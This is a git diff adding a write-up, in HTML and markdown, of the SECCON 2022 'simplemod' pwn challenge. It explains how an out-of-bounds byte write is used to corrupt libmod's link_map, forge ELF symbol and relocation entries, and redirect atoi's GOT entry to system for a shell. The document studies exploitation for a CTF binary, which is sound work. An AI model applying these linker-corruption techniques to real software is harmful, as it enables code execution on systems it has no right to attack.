+	char buf[0x10] = {0};
+
+	getnline(buf, sizeof(buf));
+	return atoi(buf);
+}
+
+void modify(void){
+	uint64_t ofs;
+
+	write_str("offset: ");
+	if((ofs = getint()) > 0x2000)
+		return;
+
+	write_str("value: ");
+	gbuf[ofs] = getint();
+}
+
+__attribute__((naked))
+void exit_imm(int status){
+	asm(
+		"xor rax, rax\n"
+		"mov al, 0x3c\n"
+		"syscall"
+	   );
+	__builtin_unreachable();
+}
+
+ +

We now know the purpose of modify, it allows us to write a single byte at an offset < 0x2000 from the start of gbuf. +However, gbuf only has a size of 0x100 bytes, so we have a trivial out-of-bounds write in modify! +We now also see what exit_imm does. +It directly calls the exit syscall, which might seem a bit peculiar. +Furthermore, both its declaration in chall and its definition here have some uncommon attributes.

+ +

The reason for directly calling the exit syscall is likely to force an immediate termination (as the name implies). +Calling libc’s exit would instead result in the rest of the destructors etc. to run. +The various attributes are likely to cause a similar situation as in a previous CTF challenge, nightmare. +Indeed, disassembling chall we see the following:

+ +
fini:
+    endbr64
+    push    rbp
+    mov     rbp, rsp
+    mov     edi, 0
+    call    _exit_imm
+
+menu:
+    endbr64
+    push    rbp
+    mov     rbp, rsp
+    lea     rdi, s          ; "\nMENU\n1. Modify\n0. Exit\n> "
+    call    _puts
+    call    _getint
+    pop     rbp
+    retn
+
+ +

Therefore, if somehow _exit_imm would return instead of terminate the process immediately, we would end up back in the menu function, since there is no ret at the end of fini! +But there is some more work to be done, before we can get there.

+ +

Finding a Useful Target for our OOB Write

+ +

As explained before, we have an OOB write of up to 30 bytes, up to 0x2000 away from gbuf. +gbuf is located in the data section of libmod, so what could we overwrite with this primitive? +A quick look at vmmap in gdb:

+ +
gef  vmmap
+[ Legend:  Code | Heap | Stack ]
+Start              End                Offset             Perm Path
+0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/chall
+0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/vagrant/CTF/seccon/simplemod/chall
+0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/chall
+0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/chall
+0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/vagrant/CTF/seccon/simplemod/chall
+0x00007ffff7d8b000 0x00007ffff7d8e000 0x0000000000000000 rw-
+0x00007ffff7d8e000 0x00007ffff7db6000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6
+0x00007ffff7db6000 0x00007ffff7f4b000 0x0000000000028000 r-x /home/vagrant/CTF/seccon/simplemod/libc.so.6
+0x00007ffff7f4b000 0x00007ffff7fa3000 0x00000000001bd000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6
+0x00007ffff7fa3000 0x00007ffff7fa7000 0x0000000000214000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6
+0x00007ffff7fa7000 0x00007ffff7fa9000 0x0000000000218000 rw- /home/vagrant/CTF/seccon/simplemod/libc.so.6
+0x00007ffff7fa9000 0x00007ffff7fb6000 0x0000000000000000 rw-
+0x00007ffff7fb6000 0x00007ffff7fb7000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so
+0x00007ffff7fb7000 0x00007ffff7fb8000 0x0000000000001000 r-x /home/vagrant/CTF/seccon/simplemod/libmod.so
+0x00007ffff7fb8000 0x00007ffff7fb9000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so
+0x00007ffff7fb9000 0x00007ffff7fba000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so
+0x00007ffff7fba000 0x00007ffff7fbb000 0x0000000000003000 rw- /home/vagrant/CTF/seccon/simplemod/libmod.so # data section
+0x00007ffff7fbb000 0x00007ffff7fbd000 0x0000000000000000 rw- # could likely overwrite into here
+0x00007ffff7fbd000 0x00007ffff7fc1000 0x0000000000000000 r-- [vvar]
+0x00007ffff7fc1000 0x00007ffff7fc3000 0x0000000000000000 r-x [vdso]
+0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+0x00007ffff7fc5000 0x00007ffff7fef000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+0x00007ffff7fef000 0x00007ffff7ffa000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
+0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
+
+ +

We only have access to the data section and an unnamed region of memory right afterwards. +Since libmod is partial RELRO, its got is placed right in front of the data section, so we cannot overwrite anything in it2. +Additionally, there is nothing else of interest in the data section.

+ +

To figure out if there could be anything interesting to overwrite, I just overwrite the whole region I had access to with my primitive with 0x41 in gdb:

+ +
gef set *(char [0x2001]*)0x00007ffff7fba0c0 = "AAAAA...A"
+
+ +

I then told the binary to exit and was greeted with a nice SIGSEGV:

+ +

SIGSEGV in gdb

+ +

Clearly I was messing with some linker data structures! +I downloaded glibc source code (just assuming for now it was 2.34, more on that later) and started to look at where the crash occurred. +It was happening on some access to the passed in l, a link_map structure. +Indeed, by printing l in gdb I could see that I completely overwrite it with 0x41:

+ +
gef  p *l
+$2 = {
+  l_addr = 0x4141414141414141,
+  l_name = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
+  l_ld = 0x4141414141414141,
+// ...
+  l_relro_size = 0x4141414141414141,
+  l_serial = 0x4141414141414141
+}
+gef
+
+ +

With some more debugging, I figured out that the link_map I was overwriting belonged to libmod and was at an offset of 0x1160 from gbuf. +Having previously looked at similar challenges (such as nightmare), it was clear that I had to cleverly overwrite the link_map to mess with the dynamic linker during runtime and cause it to somehow give me a shell (or equivalent to get the flag). +This was easier said than done of course and so we first have to understand how some internals of the dynamic linker on linux work.

+ + + +

For this writeup, it is not necessary to fully grasp all the details of the dynamic linker and I will try to describe the important bits as best as I can.

+ +

_dl_fixup

+ +

First, we have to have a basic understanding, of how the got and friends work. +Understanding _dl_runtime_resolve() has a great in depth description, but we do not actually need to know some of the details provided, and some of the later steps are not described.

+ +

We all know that an external dynamic symbol creates an entry in the got and a relocation. +When the symbol is called for the first time, this symbol needs to be then resolved. +Further invocations use the stored resolved value, found in the .got.plt section. +To resolve the symbol during the first invocation, a stub function is called instead. +This stub function pushes the index of the relocation (index into the JMPREL table) as well as the address of the link_map of the current binary to the stack, then finally calls into the dynamic linker. +At some point, the dynamic linker will call into _dl_fixup, with the link_map and relocation index as arguments (the previous arguments will have been saved, so they can be used once the function has been resolved).

+ +

_dl_fixup will now do the following, assuming that we called atoi as an example, in libmod:

+ +
    +
  1. Use link_map to determine the location of a bunch of important tables / sections, such as SYMTAB (table of all symbols in the binary, both external and internal), STRTAB (table of names used by symbols) and JMPREL (containing the aforementioned relocation information)
  2. +
  3. Read the relocation from JMPREL (+0x680) based on the passed in index (4). This contains the following things: +
      +
    • Type of relocation (e.g. ELF_MACHINE_JMP_SLOT for a got relocation)
    • +
    • Index into the symbol table SYMTAB (6)
    • +
    • Offset from binary, where to write the resolved address to3 (+0x4038), the location of atoi in .got.plt in our case.
    • +
    +
  4. +
  5. Read the symbol (named ref hereinafter) that should be resolved, by using the index from the relocation. This contains the following things (only relevant ones listed): +
      +
    • Index into the string table STRTAB (0x66) giving the name of the symbol.
    • +
    • Type of the symbol (e.g. STT_FUNC since atoi is a function).
    • +
    • Linkage visibility (e.g. STB_GLOBAL)
    • +
    • Section where the symbol can be found
    • +
    • Value (i.e. offset where the symbol can be found, in most cases)
    • +
    +
  6. +
  7. Read the name of the symbol from STRTAB by using ref.st_name.
  8. +
  9. Iterate over all currently loaded libraries, by iterating over all link_maps. For each link_map, do the following: +
      +
    1. Use some hash table magic to quickly determine if the name of the symbol is exported by this library.
    2. +
    3. Use this to retrieve the symbol (named sym hereinafter) defined in the SYMTAB of the current link_map.
    4. +
    5. Check that the name originally retrieved in 4. matches the name found at STRTAB[sym.st_name] of the current link_map.
    6. +
    7. If yes, then return the found sym.
    8. +
    +
  10. +
  11. If we found the symbol in the previous step (let it be sym in link_map map), write map.l_addr + sym.st_value where the relocation told us to (atoi@.got.plt in the example), where map.l_addr specifies the base address of the library described by map.
  12. +
  13. Return map.l_addr + sym.st_value, so that the caller can also call into the resolved symbol (remember, originally we wanted to call e.g. atoi and to first resolve it).
  14. +
+ +

Some of the referenced structures for the example atoi look as follows:

+ +
    +
  • Relocation for atoi in libmod: +
    Elf64_Rela {
    +  r_offset = 0x4038,
    +  r_info = ELF64_R_INFO(6, ELF_MACHINE_JMP_SLOT),
    +  r_addend = 0
    +}
    +
    +
  • +
  • Symbol for atoi in libmod (most fields are empty, since it is an external symbol): +
    Elf64_Sym {
    +  st_name = 0x66,
    +  st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC),
    +  st_other = 0,
    +  st_shndx = 0,
    +  st_value = 0,
    +  st_size = 0,
    +}
    +
    +
  • +
  • Symbol for atoi in libc (will be used to fill in atoi@.got.plt, when atoi called the first time in libmod): +
    Elf64_Sym {
    +  st_name = 0x4f60,
    +  st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC),
    +  st_other = 0,
    +  st_shndx = 0xf,
    +  st_value = 0x43640,
    +  st_size = 0x19,
    +}
    +
    +
  • +
+ +

Hopefully, this gives you enough of an understanding to follow the rest of the writeup. +However, we are unfortunately not quite done yet with linker internals.

+ +

_dl_fini

+ +

Fortunately, this part should be a lot simpler to understand. +Whenever a dynamically linked binary terminates normally (e.g. calling exit or just returning from main), _dl_fini will be invoked first, to cleanup all the dynamically loaded libraries and call their registered destructors. +This looks something like this:

+ +
    +
  1. Collect all loaded libraries in a list, by iterating through all link_maps.
  2. +
  3. Sort them based on dependencies, but the main binary must always be first.
  4. +
  5. Iterate over the sorted list and for every link_map: +
      +
    1. Load the array specified by the FINI_ARRAY table from link_map.
    2. +
    3. Call all functions in that array.
    4. +
    5. Call the function specified by the FINI item from link_map, if it exists.
    6. +
    +
  6. +
+ + + +

The locations of these tables / sections (e.g. SYMTAB, STRTAB, JMPREL, FINI_ARRAY, FINI) are all stored in the l_info member of a link_map. +In particular, an entry in l_info is a pointer to a struct Elf64_Dyn, which is defined as follows:

+ +
typedef struct
+{
+  Elf64_Sxword	d_tag;			/* Dynamic entry type */
+  union
+    {
+      Elf64_Xword d_val;		/* Integer value */
+      Elf64_Addr d_ptr;			/* Address value */
+    } d_un;
+} Elf64_Dyn;
+
+ +

Since the d_tag is never checked in any of the interesting dl_* functions, we can safely ignore that part and only worry about d_un. +d_un then stores a pointer to the relevant section / table in memory4.

+ +

With all this knowledge about dynamic linker internals out of the way, we can now finally delve into the actual exploit.

+ +

fini is not the End of the Line

+ +

My hunch was now that I had to mess with my link_map, such that _dl_fixup will incorrectly resolve a symbol. +I played around a bit more with overwriting only parts of the link_map, but then I suddenly realized something. +I was crashing during the resolution of atoi - which was not resolved yet - since my writes were done entirely in gdb. +If my writes were done “properly” using modify, atoi would have been already resolved and I would not be crashing there. +I quickly retried, this time first doing one useless write of 0 to offset 0, then overwriting in gdb and finally exiting:

+ +

SIGSEGV at the correct place

+ +

It seems that my initial idea would be a bit harder to pull off, since all functions would be resolved already, right? +Not entirely, since fini of the main binary calls exit_imm, which of course has not been resolved yet. +By setting a breakpoint at _dl_fixup and not modifying the link_map, I indeed observed the call to _dl_fixup from inside fini:

+ +

`_dl_fixup` call

+ +

This lead me to formulate a plan.

+ +

Stage 1: Achieving Calls of Arbitrary Addresses Relative libmod

+ +

By modifying l_info of the libmod link_map, we can influence where the dynamic linker thinks SYMTAB and STRTAB are located. +In particular, we can make them be after the gbuf and hence arbitrarily attacker controlled. +We can therefore construct a fake symbol that is named exit_imm, but has a value (and hence resolved address) of anything we want. +Since the resolved address will be calculated as the value of the symbol (controlled) plus the base address of libmod, we can make exit_imm resolve to any address relative to libmod. +Because exit_imm is called, the resolved address is called and we hence have a call to an arbitrary address, relative to libmod.

+ +

Home Grown vs. Store Bought libc

+ +

While we do not control the arguments that are passed to exit_imm (indeed $rsi is 0, so resolving to e.g. system would never work), we “just” need to make exit_imm resolve to a one gadget in libc and we have a shell, right? +After all, shared libraries are always loaded at a constant offset from each other and so a relative offset from libmod can also get us addresses to libc gadgets. +Even though the constant offset is very dependent on the environment and we are not given a docker setup for this challenge, we can always bruteforce the offset in a pinch.

+ +

Unfortunately, the libc used on the server is “home-built glibc-2.3x”. +Therefore, we can likely not use an one gadgets directly. +We might be able to also bruteforce the one gadget offsets, but it started to sound like this was not the intended way.

+ +

It Works on my Machine!

+ +

After some discussion with the author over DMs, it was revealed that the remote had a modified dynamic linker, where the individual dynamic libraries were loaded at a random offset! +My current strategy would definitely not pan out then. +In my opinion, this crucial detail should have been included in the challenge description. +Furthermore, there should have been a docker setup, to test the challenge locally, as the offset between gbuf and link_map is highly dependent on the environment. +Therefore, I first had to bruteforce this offset on remote, which felt quite unnecessary.

+ +

To bruteforce the offset, I noticed that _dl_fini has some asserts, if triggered could be a good indicator that we hit the right offset. +In particular, it makes sure that for all link_maps, link_map.l_real == link_map. +Therefore, we could try to overwrite link_map.l_real for every possible offset, if we see the assertion message, we have hit the correct one. +However, if we accidentally overwrite link_map.l_next instead, then the assertion might still trigger, since the iteration will then use a bogus link_map next. +Hence, our actual target is link_map.l_next and to verify, we make sure that offset+0x10 (i.e. overwriting link_map.l_real) also triggers the assertion.

+ +

This gives us an offset of 0x13e0 for the remote.

+ +

Implementing the Attack

+ +

As explained before, we change the link_map such that SYMTAB and STRTAB are after gbuf and hence can be controlled by us as well, with the OOB writes. +To achieve that, I overwrite the lowest two bytes of the Elf64_Dyn pointer for SYMTAB and STRTAB, such that it now points inside the l_info array. +Therefore, d_un would contain pointers that were pointing somewhere relative to libmod and I could then overwrite the lowest two bytes of that pointer again to make SYMTAB and STRTAB point to after gbuf:

+ +
// before overwrite
+0x7ffff7fb9e98: Elf64_Dyn { d_tag = 5, d_un = 0x7ffff7fb6460 }
+0x7ffff7fb9ea8: Elf64_Dyn { d_tag = 6, d_un = 0x7ffff7fb6328 }
+// ...
+0x7ffff7fbb220: link_map {
+    // ...
+    l_info[5] = 0x7ffff7fb9e98,
+    l_info[6] = 0x7ffff7fb9ea8,
+    // ...
+0x7ffff7fbb330:
+    l_info[26] = 0x7ffff7fb9e68,
+    l_info[27] = 0x7ffff7fb9e58,
+    // ...
+}
+
+// after overwrite
+0x7ffff7fbb220: link_map {
+    // ...
+    l_info[5] = 0x7ffff7fbb330,
+    l_info[6] = 0x7ffff7fbb330,
+    // ...
+0x7ffff7fbb330: Elf64_Dyn { d_tag = 0x7ffff7fb9e68, d_un = 0x7ffff7fba098 } // interpretation of two entries below
+    l_info[26] = 0x7ffff7fb9e68,
+    l_info[27] = 0x7ffff7fba098,
+    // ...
+}
+
+ +

Note: Since only the lowest 3 nibbles are not randomized by ASLR, this requires us to bruteforce the 4th nibble. It is only a 4-bit brute force though, so it is fine. +The official solution has a much better idea. Instead, we can just make the l_info entires for SYMTAB and STRTAB use the entry for a different section, that is much closer to gbuf, such as the .got.plt section.

+ +

Once we have SYMTAB and STRTAB under our control, it becomes pretty simple. +Observe the index into SYMTAB used for the exit_imm resolution, then create a fake symbol at that offset:

+ +
Elf64_Sym {
+    st_name = 0, // useful, since this means we need to call modify less often
+    st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC),
+    st_other = 0,
+    st_shndx = 0xe,
+    st_value = 0x1054, // whatever we want to call, this specific one will be explained later
+    st_size = 0,
+}
+
+ +

We also need to write exit_imm to STRTAB at the fake STRTAB location. +With that out of the way, we can proceed with the next stage.

+ +

Stage 2: Achieving Calls to Arbitrary Functions by Name in libc

+ +

After realizing we could not directly call into libc using stage 1, I assumed we had to further trick the linker into e.g. calling system for us. +Indeed, I then realized I could use stage 1 to call one of the existing got stub functions and (even though everything was already resolved), it would try to resolve things again. +However, since the link_map is now under our control, we can change which symbol _dl_fixup will try to resolve. +Furthermore, since the stub function will call the resolved symbol, this also means we can call an arbitrary symbol, as long as one of the loaded libraries exports it.

+ +

Implementation

+ +

Note: My exploit during the CTF created a fake relocation entry here. While writing this writeup, I realized this is actually not needed at all as becomes evident later!

+ +

First we have to modify l_info for JMPREL, such that we can create a fake relocation. +This is done the exact same way as before and SYMTAB, STRTAB and JMPREL are all at the same place. +Then, we make the fake relocation refering to a fake symbol which we want to resolve:

+ +
Elf64_Rela {
+    r_offset = 0x4038, // explained later why this is necessary
+    r_info = ELF64_R_INFO(11, ELF_MACHINE_JMP_SLOT), // the symbol index here was necessary, since I ran out of bytes to write and this happens to point to something that can be interpreted as a valid symbol :)
+    r_addend = 0,
+}
+
+ +

As explained in the comment, the fake symbol is not really controlled this time around, but that does not matter. +The only important bit of the symbol is that the name index is not too large (so we can control the name). +The fake symbol will therefore be:

+ +
Elf64_Sym {
+    st_name = 0x1080,
+    // ... some other values, we don't actually care
+}
+
+ +

Stage 3: Achieving Calls to Arbitrary Addresses Relative to libc?

+ +

At this point I could call arbitrary functions inside libc, but I had no control over the arguments. +In particular, rdi was fixed to 0, meaning system was just returning empty. +At this point, I was trying to pivot back to using a one_gadget. +I noticed that I could also reach libc’s link_map with my OOB write. +Therefore, I could change link_map.l_addr for libc and hence mess with the resolved address for any function by adding a constant offset. +However, none of the one_gadgets of my local libc would work with the register state. +Furthermore, without the remote libc, it would still be very hard to actually exploit this. +I had to come up with a new idea.

+ +

Stage 3: Achieving Calls to Arbitrary Addresses Relative to libc? Rewriting the GOT

+ +

Suddenly I remembered an important fact. +At the end of _dl_fixup, it would write the resolved address to whatever offset the relocation was specifying. +Indeed, if I would specify atoi@.got.plt, it would write whatever address it resolved (e.g. system) there and any further calls to atoi from libmod would instead call into system! +As explained at the very beginning, if the call to exit_imm returns normally instead of exiting immediately, control will flow into the menu function, which incidentally calls getint, eventually resulting in atoi(getline()), i.e. calling atoi with controlled input! +Therefore, I just had to specify atoi@.got.plt as the offset for the fake relocation and make sure exit_imm would return normally. +Indeed, since I replaced exit_imm with the call to the got stub function (which in turn calls system), it would return normally.

+ +

Although this idea should have only required minimal changes, during the CTF I had to rework quite a bit of my exploit, since it initially used one byte too much.

+ +

No Shell For You

+ +

Unfortunately, when I tried this locally, it would crash during the final call to system (i.e. with the controlled argument), due to stack alignment. +My teammate jokingly suggested to just throw it against remote and I naivly assumed he was serious. +After around 40 attempts (remember it should only be a 4-bit bruteforce), I was just about to kill my tmux panes, when I noticed that one of them spat out the flag! +Good thing I thought my teammate was serious :P

+ +

Later Realizations

+ +

As touched on before, this exploit does not actually need to have a fake relocation. +Indeed, we can just reuse the atoi relocation and everything works the same (besides having to create a fake symbol for system). +This alone saves around 5 bytes in the exploit.

+ +

Conclusion

+ +

In the end, I learned a lot (actually way too much) about the internals of ld. +The challenge was kinda fun and invoking some eldritch linker magic to get the shell felt quite satisfying. +Nevertheless, I still think a local environment would have prevented some pain points, especially since I was not the only one who could not get the full exploit to work locally due to stack alignment.

+ +

You can find the original exploit I used during the CTF here. +You can find a slightly modified version that does not need a fake relocation here.

+ + + +
+
    +
  1. +

    Very much appreciated, I think more CTFs should start providing source for pwn challenges that do not need (IMO) unnecessary rev components. 

    +
  2. +
  3. +

    Or at least not without some eldritch magic, as you will see later ;) 

    +
  4. +
  5. +

    This is important and took me way too long to use to my advantage. 

    +
  6. +
  7. +

    There is a flag in the link_map that turns the absolute addresses d_un.d_ptr into relative offsets from link_map.l_addr, but that ended up not being useful in my exploit. 

    +
  8. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2022/pwn/simplemod.md b/SECCON-2022/pwn/simplemod.md new file mode 100755 index 0000000..7624939 --- /dev/null +++ b/SECCON-2022/pwn/simplemod.md @@ -0,0 +1,537 @@ +# simplemod + +**Author**: [gallileo](https://twitter.com/galli_leo_) + +**Tags**: pwn, eldritch magic + +**Points**: 470 + +After having a blast playing Codegate finals in Seoul the weekend before, we decided it would be fun to play SECCON Quals while [on vacation in Osaka](https://twitter.com/galli_leo_/status/1591329716187058176?s=20&t=FAqezxrJFtNrXLsi52Syrw). +Little did I know, what eldritch horror would await me in such an innocently named challenge. + +## Setup + +The challenge consists of a very simple main binary called `chall` and a dynamic library `libmod.so` which `chall` links against. +The source code for both is provided[^1] and `chall` is indeed very simple: + +```c +#include +#include +#include + +int getint(void); +void modify(void); +__attribute__((noreturn)) void exit_imm(int status); + +__attribute__((constructor)) +static int init(){ + alarm(30); + setbuf(stdin, NULL); + setbuf(stdout, NULL); + return 0; +} + +__attribute__((destructor)) +static void fini(){ + exit_imm(0); +} + +static int menu(void){ + puts("\nMENU\n" + "1. Modify\n" + "0. Exit\n" + "> "); + + return getint(); +} + +int main(void){ + puts("You can operate 30 times."); + for(int i=0; i<30; i++){ + switch(menu()){ + case 0: + goto end; + case 1: + modify(); + puts("Done."); + break; + } + } + +end: + puts("Bye."); + return 0; +} +``` + +You have access to a simple menu allowing you to call `modify` up to 30 times, after which the binary will simply exit. +The three functions `getint`, `modify`, `exit_imm` are provided by `libmod` and hence dynamically linked. +`fini` immediately pops out as looking a bit suspicious. +It is a destructor, meaning it will be called before we exit. + +`libmod` is not much more complex and looks as follows: + +```c +#include +#include +#include +#include + +#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1) + +char gbuf[0x100]; + +static int getnline(char *buf, int size){ + int len; + + if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0) + return -1; + + if(buf[len-1]=='\n') + len--; + buf[len] = '\0'; + + return len; +} + +int getint(void){ + char buf[0x10] = {0}; + + getnline(buf, sizeof(buf)); + return atoi(buf); +} + +void modify(void){ + uint64_t ofs; + + write_str("offset: "); + if((ofs = getint()) > 0x2000) + return; + + write_str("value: "); + gbuf[ofs] = getint(); +} + +__attribute__((naked)) +void exit_imm(int status){ + asm( + "xor rax, rax\n" + "mov al, 0x3c\n" + "syscall" + ); + __builtin_unreachable(); +} +``` + +We now know the purpose of modify, it allows us to write a single byte at an offset `< 0x2000` from the start of `gbuf`. +However, `gbuf` only has a size of `0x100` bytes, so we have a trivial out-of-bounds write in modify! +We now also see what `exit_imm` does. +It directly calls the `exit` syscall, which might seem a bit peculiar. +Furthermore, both its declaration in `chall` and its definition here have some uncommon attributes. + +The reason for directly calling the `exit` syscall is likely to force an immediate termination (as the name implies). +Calling libc's `exit` would instead result in the rest of the destructors etc. to run. +The various attributes are likely to cause a similar situation as in a previous CTF challenge, [nightmare](https://blog.pepsipu.com/posts/nightmare). +Indeed, disassembling `chall` we see the following: + +```asm +fini: + endbr64 + push rbp + mov rbp, rsp + mov edi, 0 + call _exit_imm + +menu: + endbr64 + push rbp + mov rbp, rsp + lea rdi, s ; "\nMENU\n1. Modify\n0. Exit\n> " + call _puts + call _getint + pop rbp + retn +``` + +Therefore, if somehow `_exit_imm` would return instead of terminate the process immediately, we would end up back in the `menu` function, since there is no `ret` at the end of `fini`! +But there is some more work to be done, before we can get there. + +## Finding a Useful Target for our OOB Write + +As explained before, we have an OOB write of up to 30 bytes, up to `0x2000` away from `gbuf`. +`gbuf` is located in the data section of `libmod`, so what could we overwrite with this primitive? +A quick look at `vmmap` in gdb: + +```python +gef➤ vmmap +[ Legend: Code | Heap | Stack ] +Start End Offset Perm Path +0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/chall +0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/vagrant/CTF/seccon/simplemod/chall +0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/chall +0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/chall +0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/vagrant/CTF/seccon/simplemod/chall +0x00007ffff7d8b000 0x00007ffff7d8e000 0x0000000000000000 rw- +0x00007ffff7d8e000 0x00007ffff7db6000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6 +0x00007ffff7db6000 0x00007ffff7f4b000 0x0000000000028000 r-x /home/vagrant/CTF/seccon/simplemod/libc.so.6 +0x00007ffff7f4b000 0x00007ffff7fa3000 0x00000000001bd000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6 +0x00007ffff7fa3000 0x00007ffff7fa7000 0x0000000000214000 r-- /home/vagrant/CTF/seccon/simplemod/libc.so.6 +0x00007ffff7fa7000 0x00007ffff7fa9000 0x0000000000218000 rw- /home/vagrant/CTF/seccon/simplemod/libc.so.6 +0x00007ffff7fa9000 0x00007ffff7fb6000 0x0000000000000000 rw- +0x00007ffff7fb6000 0x00007ffff7fb7000 0x0000000000000000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so +0x00007ffff7fb7000 0x00007ffff7fb8000 0x0000000000001000 r-x /home/vagrant/CTF/seccon/simplemod/libmod.so +0x00007ffff7fb8000 0x00007ffff7fb9000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so +0x00007ffff7fb9000 0x00007ffff7fba000 0x0000000000002000 r-- /home/vagrant/CTF/seccon/simplemod/libmod.so +0x00007ffff7fba000 0x00007ffff7fbb000 0x0000000000003000 rw- /home/vagrant/CTF/seccon/simplemod/libmod.so # data section +0x00007ffff7fbb000 0x00007ffff7fbd000 0x0000000000000000 rw- # could likely overwrite into here +0x00007ffff7fbd000 0x00007ffff7fc1000 0x0000000000000000 r-- [vvar] +0x00007ffff7fc1000 0x00007ffff7fc3000 0x0000000000000000 r-x [vdso] +0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x00007ffff7fc5000 0x00007ffff7fef000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x00007ffff7fef000 0x00007ffff7ffa000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] +0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] +``` + +We only have access to the data section and an unnamed region of memory right afterwards. +Since `libmod` is partial RELRO, its `got` is placed right in front of the data section, so we cannot overwrite anything in it[^2]. +Additionally, there is nothing else of interest in the data section. + +To figure out if there could be anything interesting to overwrite, I just overwrite the whole region I had access to with my primitive with `0x41` in gdb: + +```c +gef➤ set *(char [0x2001]*)0x00007ffff7fba0c0 = "AAAAA...A" +``` + +I then told the binary to exit and was greeted with a nice `SIGSEGV`: + +![SIGSEGV in gdb](./img/segv.png) + +Clearly I was messing with some linker data structures! +I downloaded glibc source code (just assuming for now it was 2.34, more on that later) and started to look at where the crash occurred. +It was happening on some access to the passed in `l`, a `link_map` structure. +Indeed, by printing `l` in gdb I could see that I completely overwrite it with `0x41`: + +```c +gef➤ p *l +$2 = { + l_addr = 0x4141414141414141, + l_name = 0x4141414141414141 , + l_ld = 0x4141414141414141, +// ... + l_relro_size = 0x4141414141414141, + l_serial = 0x4141414141414141 +} +gef➤ +``` + +With some more debugging, I figured out that the `link_map` I was overwriting belonged to `libmod` and was at an offset of `0x1160` from `gbuf`. +Having previously looked at similar challenges (such as `nightmare`), it was clear that I had to cleverly overwrite the `link_map` to mess with the dynamic linker during runtime and cause it to somehow give me a shell (or equivalent to get the flag). +This was easier said than done of course and so we first have to understand how some internals of the dynamic linker on linux work. + +## `link_map` Internals + +For this writeup, it is not necessary to fully grasp all the details of the dynamic linker and I will try to describe the important bits as best as I can. + +### `_dl_fixup` + +First, we have to have a basic understanding, of how the got and friends work. +[Understanding `_dl_runtime_resolve()`](https://ypl.coffee/dl-resolve/) has a great in depth description, but we do not actually need to know some of the details provided, and some of the later steps are not described. + +We all know that an external dynamic symbol creates an entry in the `got` and a relocation. +When the symbol is called for the first time, this symbol needs to be then resolved. +Further invocations use the stored resolved value, found in the `.got.plt` section. +To resolve the symbol during the first invocation, a stub function is called instead. +This stub function pushes the index of the relocation (index into the `JMPREL` table) as well as the address of the `link_map` of the current binary to the stack, then finally calls into the dynamic linker. +At some point, the dynamic linker will call into `_dl_fixup`, with the `link_map` and relocation index as arguments (the previous arguments will have been saved, so they can be used once the function has been resolved). + +`_dl_fixup` will now do the following, assuming that we called `atoi` as an example, in `libmod`: + +1. Use `link_map` to determine the location of a bunch of important tables / sections, such as `SYMTAB` (table of all symbols in the binary, both external and internal), `STRTAB` (table of names used by symbols) and `JMPREL` (containing the aforementioned relocation information) +2. Read the relocation from `JMPREL` (`+0x680`) based on the passed in index (`4`). This contains the following things: + - Type of relocation (e.g. `ELF_MACHINE_JMP_SLOT` for a `got` relocation) + - Index into the symbol table `SYMTAB` (`6`) + - Offset from binary, where to write the resolved address to[^4] (`+0x4038`), the location of `atoi` in `.got.plt` in our case. +3. Read the symbol (named `ref` hereinafter) that should be resolved, by using the index from the relocation. This contains the following things (only relevant ones listed): + - Index into the string table 